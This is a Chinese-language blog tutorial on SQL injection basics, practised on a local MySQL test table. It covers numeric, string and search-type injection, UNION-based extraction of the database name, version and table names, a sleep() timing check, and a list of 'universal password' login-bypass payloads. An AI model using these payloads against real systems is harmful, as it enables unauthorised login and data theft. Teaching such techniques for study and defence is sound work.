banner
soapffz

soapffz

github
steam
bilibili
douban

SQL注入--基础篇

起因#

一直以来都准备做的渗透基础教程

在介绍完了基本的信息收集和渗透环境搭建篇之后算是正式开始

可能会做很久也不一定做完,但是一定会更新下去

** 声明:作者初衷用于分享与普及网络安全知识,若读者因此作出任何危害网络安全行为后果自负,与作者及本网站无关 **

SQL 注入介绍#

SQL 语句:SQL (Structured Query Language),结构化的查询语言,是关系型数据库通讯的标准语言。

查询:SELECT statement FROM table WHERE condition
删除记录:DELETE FROM table WHERE condition
更新记录:UPDATE table SET field=value WHERE condtion
添加记录:INSERT INTO table field VALUES(values)

SQL 注入 (SQL Injection):

是程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患,用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据或进行数据库操作

SQL 注入攻击流程:

1. 判断注入点 2. 判断注入点类型 3. 判断数据库类型 4. 获取数据库数据,提权

SQL 注入原理分析#

本篇教程应该是基于 shack2 大佬的 SQL 注入教程写的

记不太清楚了因为笔记创建时间是19-03-01:

image

而且现在shack2大佬的博客已经关站,只留了一个github 地址

大佬的很多工具也是非常好用的,后面也会介绍到,本文中途有一些大佬有的环境我没有的

只能使用大佬的图片了但是肯定也是看得懂的

我这里使用本地的Navicat for MySql工具和phpstudy提供的MySql数据库来讲解

这两个工具在前面我都介绍过,分别为

  • <<Navicat 家族产品安装及破解>>
  • <<渗透练习环境搭建 (长期更新)>>

Navicat工具连接上本地的mysql数据库之后新建一个数据库test

test中新建一个表new:

image

填入以下数据:

idtitlecontenttype
1我是 SQL 注入你知道吗?1
2我不是 SQL 注入你还不知道吗?2

然后用查询工具运行以下语句插入一行:

INSERT INTO test.new VALUES(3,'test','test',3)

image

点击运行,刷新 new 表,发现数据已经被插进去了:

image

来一个基础的查询:

image

那我们要查找部分数据可以用 limit (x,y) 来查询从第 x 条开始的 y 条数据

比如这里查询从第 0 条开始的 1 条数据(sqlserver 里面的关键字是用的 top):

image

image

数字型注入#

我们查询id=1

image

查询id=1 AND 1=2,没有数据:

image

到这我们已经能判断有一个 SQL 注入了,如果没有过滤的话就可以盲注了,我们用or 1=1(永远为真) 试一下:

image

也可以这么理解:

SELECT * FROM test.new WHERE (id=1 OR 1=1)

我们试一下盲注,直接加一个'

image

打印出了 SQL 的报错信息,说明支持错误显示注入

我们用 Union 来试一下,直接Union Select 1

image

报错了,列不对,所以说我们用order by来判断列:

image

order by加到 5 报错了 (也可能是没数据):

image

说明这个表有 4 列数据,如果原查询语句是:

SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'

这时候你再加个ORDER BY可能也没关系:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'

image

但是当有时候程序自身带了ORDER BY,比如原语句是:

SELECT * FROM test.new WHERE id=1 ORDER BY id DESC

这时候要在 1 这个位置上再插入一个ORDER BY进去:

SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC

这条语句就会报错:

image

这时候我们就可以用 #注释掉后面的语句 (有时候要考虑字符转码 %23,因为在 URL 中 #表示标记锚连接,直接定位到网页内位置的):

SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC

image

下面我们说一下怎样判断某个数据库存不存在,我们可以用exists函数:

SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)

image

返回正常说明admin这个表存在,MYSQL里面是自带information_schema这个库的

那我们看一下存不存在information_schema.tables就知道这个数据库是不是MySQL数据库了:

image

返回正常,我们通过Union SELECT来看哪一个列能支持显示 (这里使用的是大佬教程里的图片):

image

** 这里由于我使用的环境不好只显示部分位,实际很多靶场都是有多字段只显示部分字段的情况 **

这个图就明显说明第 2 列能被显示出来,但是如果只支持显示一个查询结果很有可能后面的结果我们看不见

我们可以把前面的加一个AND 1=2否定掉,这样就只会显示我们后面的一条数据了:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231

image

知道了显示位之后我们就可以在显示位上搞事情了,先来查询个数据库:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231

image

再来查询个版本:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231

image

可以看到版本号为5.5.53,再来查询information_schema数据库的所有表名:

SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables

image

延时函数直接 sleep (10) 就行了:

image

字符型注入#

我们默认测试的地址为:

SELECT * FROM test.new WHERE type=2

image

先来一个AND 1=1

image

再来个1=2

image

发现都没有输出,也没有报错,那怎么办呢?我们分析一下字符:原来的语句是:

SELECT * FROM test.new WHERE type='xxx'

现在我们要查询type=2的同时还要把And 1=1加进去:

SELECT * FROM test.new WHERE type='2' AND 1=1'

后面还有一个单引号,所以这里最适合的就是用字符型的把后面单引号闭合掉:

SELECT * FROM test.new WHERE type='2' AND '1'='1'

也就是我们的查询数据为:2' AND '1'='1,这样就把2查询了也把AND 1=1加进去了:

image

其他的就和上面的数值型注入差不多了,比如order by

SELECT * FROM test.new WHERE type='2' ORDER BY 1

image

Union:

SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL

image

搜索型注入#

一般语句是这样:

SELECT * FROM test.new WHERE title LIKE '%xxx%'

比如:

image

那我们就可以用程序本身的 %' 把前面的闭合掉,然后再 #注释掉后面的:

image

image

因为我们这里是 POST 方式提交的,不用编码,如果是 GET 方法提交的,这里需要先编码

image

所以我们知道查询语句是 '% xxx%' 的情况下直接搜索 %' and '%'=' 直接就闭合

万能密码#

admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)

其实就是闭合了的意思,为了介绍方便我在test数据库里再建一个admin表,数据如下:

idusernamepasswd
7testtest
8nullnull
9nullnull
10aaaxx
11aaaxx
12

image

我们从这句经典登录来分析:

SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'

image

当我们要在中间插入or 'a' ='a'的时候,也就是构成了这样的语句:

SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'

image

能查询成功,此时我们的输入的部分为:

aaa' OR 'a'='a

这样就能把username的前后两个’闭合,然后我们就能查询任意用户名的数据

查询出来的都是passwordxx的账户的数据:

image

但是这是在password是正确的前提下的,所以最好我们把它输成空:

image

也可以用注释符:

SELECT * FROM test.admin WHERE username='xxx' OR 1=1#

image

就能查询出所有数据,简而言之就是闭合前面的username并且保持为真

然后 #注释掉后面的passwordOK了,这就是万能密码admin' or 'a'='a的来源

所以在万能密码的条件下,只需要知道username我们就能去登录账户了

当万能密码用在password处的时候,语句是这样的:

SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'

image

因为程序把前面的一部分看为一个整体了:

SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')

所以这个永远是真,但是登录处肯定不会直接SELECT *的,但是也能得到它SELECT的所有结果。

基础原理讲的还是很枯燥的,后面会放一些例子及简单的记忆技巧,敬请期待!

本文完。

Loading...
Ownership of this post data is guaranteed by blockchain and smart contracts to the creator alone.